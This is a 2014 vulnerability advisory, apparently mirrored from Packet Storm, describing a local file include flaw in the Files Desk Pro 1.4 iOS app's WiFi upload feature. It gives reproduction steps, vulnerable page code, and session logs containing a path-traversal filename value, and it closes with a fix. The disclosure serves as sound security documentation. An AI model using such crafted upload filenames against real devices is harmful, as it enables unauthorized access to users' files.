Files Desk Pro 1.4 Local File Inclusion

2014-06-03T00:00:00
ID PACKETSTORM:126896
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2014-06-03T00:00:00

Description

                                        
                                            `Document Title:  
===============  
Files Desk Pro v1.4 iOS - File Include Web Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1266  
  
  
Release Date:  
=============  
2014-05-16  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1266  
  
  
Common Vulnerability Scoring System:  
====================================  
6.7  
  
  
Product & Service Introduction:  
===============================  
FileDesk is iPhone/iPad app for managing your files. Read differect kind of files,Create PDFs with different contents, Make your   
documents/files private,Share Your files over WiFi. File Desk - A digital desk for your files. Manage your Documents/Files With File Desk.  
  
(Copy of the Homepage: https://itunes.apple.com/ag/app/file-desk-pro-documents-manager/id600550320 )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official Files Desk Pro v1.4 iOS mobile web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2014-05-16: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
LiveBird Technologies Private Limited  
Product: Files Desk Pro & Lite 1.4  
  
  
Exploitation Technique:  
=======================  
Local  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A local file include web vulnerability has been discovered in the official Files Desk Pro v1.4 iOS mobile web-application.   
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system   
specific path commands to compromise the mobile web-application.  
  
The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files   
with malicious `filename` values in the `upload` POST method request to compromise the mobile web-application. The local file/path   
include execution occcurs in the `index file dir` list of the `filesdesk` manager. The attacker is able to inject the local file   
include request by usage of the `wifi interface` or by a local privileged application user accounts via `file sync`(app).  
  
Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to   
execute different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the   
request method to inject is POST. The security risk of the local file include web vulnerability is estimated as high with a   
cvss (common vulnerability scoring system) count of 6.7.  
  
Exploitation of the local file include web vulnerability requires no user interaction but a privileged web-application user   
account with low user auth. Successful exploitation of the local file include web vulnerability results in mobile application   
or connected device component compromise.  
  
Request Method(s):  
[+] [POST] - Remote  
[+] [SYNC] - Local  
  
Vulnerable Module(s):  
[+] FilesDesk Wifi (UI)  
  
Vulnerable Function(s):  
[+] Upload  
  
Vulnerable Parameter(s):  
[+] filename  
  
Affected Module(s):  
[+] Index File Dir Listing (http://localhost:8081/)  
  
  
Proof of Concept (PoC):  
=======================  
The local file/path include web vulnerability can be exploited local attackers without privileged application user account and without user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce ...  
1. Install the FileDesk mobile application to your iOS device (ipad or iphone)  
2. Start the local wifi web-server and share some random files  
3. Connect with another remote computer to the local web-server interface url > web.localhost:8081  
4. Start a session tamper and choose a random file to upload  
5. Submit the upload form and intercept in the session to change the vulnerable filename value to a local device file/path  
Note: Can also be combined with script codes and html tags  
6. Refresh the index and the execution of the malicious request occurs in the index file dir list (name value)  
7. Successful reproduce of the file include web vulnerability!  
  
  
PoC: FilesDesk Index  
  
<table border="0" cellpadding="0" cellspacing="0">  
<thead>  
<tr><th>Name</th><th class="del">Delete</th></tr>  
</thead>  
<tbody id="filelist">  
<tr><td><a href="/files/%3C[LOCAL FILE/PATH INCLUDE VULNERABILITY!].png" class="file"><[LOCAL FILE/PATH INCLUDE   
  
VULNERABILITY!]">.png</a></td><td class='del'><form action='/files/%3C[LOCAL FILE/PATH INCLUDE VULNERABILITY!].png'   
  
method='post'><input name='_method' value='delete' type='hidden'/><input name="commit" type="submit" value="Delete" class='button'   
  
/></td></tr></tbody></table></iframe></a></td></tr></tbody>  
</table>  
  
  
  
Vulnerable Source: Upload Script  
  
<script type="text/javascript" charset="utf-8">  
var now = new Date();  
$.getJSON("/files?"+ now.toString(),  
function(data){  
var shadow = false;  
$.each(data, function(i,item){  
var trclass='';  
if (shadow)  
trclass= " class='shadow'";  
encodeName = encodeURI(item.name).replace("'", "'");  
$("<tr" + trclass + "><td><a href='/files/" + encodeName + "' class='file'>" + item.name + "</a></td>" + "<td   
  
class='del'><form action='/files/" + encodeName + "' method='post'><input name='_method' value='delete' type='hidden'/><input name=  
  
\"commit\" type=\"submit\" value=\"Delete\" class='button' /></td>" + "</tr>").appendTo("#filelist");  
shadow = !shadow;  
});  
});  
</script>  
  
  
--- PoC Session Logs [POST] ---  
Status: 302[Found]  
POST http://192.168.2.104:8081/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[67] Mime Type[text/html]  
Request Header:  
Host[192.168.2.104:8081]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Referer[http://192.168.2.104:8081/]  
Connection[keep-alive]  
POST-Daten:  
POST_DATA[-----------------------------147491436412682  
Content-Disposition: form-data; name="newfile"; filename="%3C../[LOCAL FILE/PATH INCLUDE VULNERABILITY!].png"  
Content-Type: image/png  
  
  
Status: 200[OK]  
GET http://192.168.2.104:8081/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[2953] Mime Type[application/x-unknown-content-type]  
Request Header:  
Host[192.168.2.104:8081]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Referer[http://192.168.2.104:8081/]  
Connection[keep-alive]  
Response Header:  
Accept-Ranges[bytes]  
Content-Length[2953]  
Date[Do., 15 Mai 2014 14:27:35 GMT]  
  
  
  
  
Status: 200[OK]  
GET http://192.168.2.104:8081/files?Thu%20May%2015%202014%2016:14:57%20GMT+0200 Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[39] Mime Type[text/plain]  
Request Header:  
Host[192.168.2.104:8081]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]  
Accept[application/json, text/javascript, */*]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
X-Requested-With[XMLHttpRequest]  
Referer[http://192.168.2.104:8081/]  
Connection[keep-alive]  
Response Header:  
Accept-Ranges[bytes]  
Content-Length[39]  
Cache-Control[private, max-age=0, must-revalidate]  
Content-Type[text/plain; charset=utf-8]  
Date[Do., 15 Mai 2014 14:27:37 GMT]  
  
  
  
  
Status: 200[OK]  
GET http://192.168.2.104:8081/%3C../[LOCAL FILE/PATH INCLUDE VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type]  
Request Header:  
Host[192.168.2.104:8081]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Referer[http://192.168.2.104:8081/]  
Connection[keep-alive]  
Response Header:  
Accept-Ranges[bytes]  
Content-Length[0]  
Date[Do., 15 Mai 2014 14:27:38 GMT]  
  
  
  
  
Reference(s):  
http://web.localhost:8081/[x]  
http://web.localhost:8081/files  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and encode of the filename value in the upload POST method request.  
Disallow special chars for files and foldernames and restrict the user input. Encode and parse also the vulnerable name output value.  
  
  
Security Risk:  
==============  
The security risk of the local file include web vulnerability in the filename value is estimated as high(-).  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
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`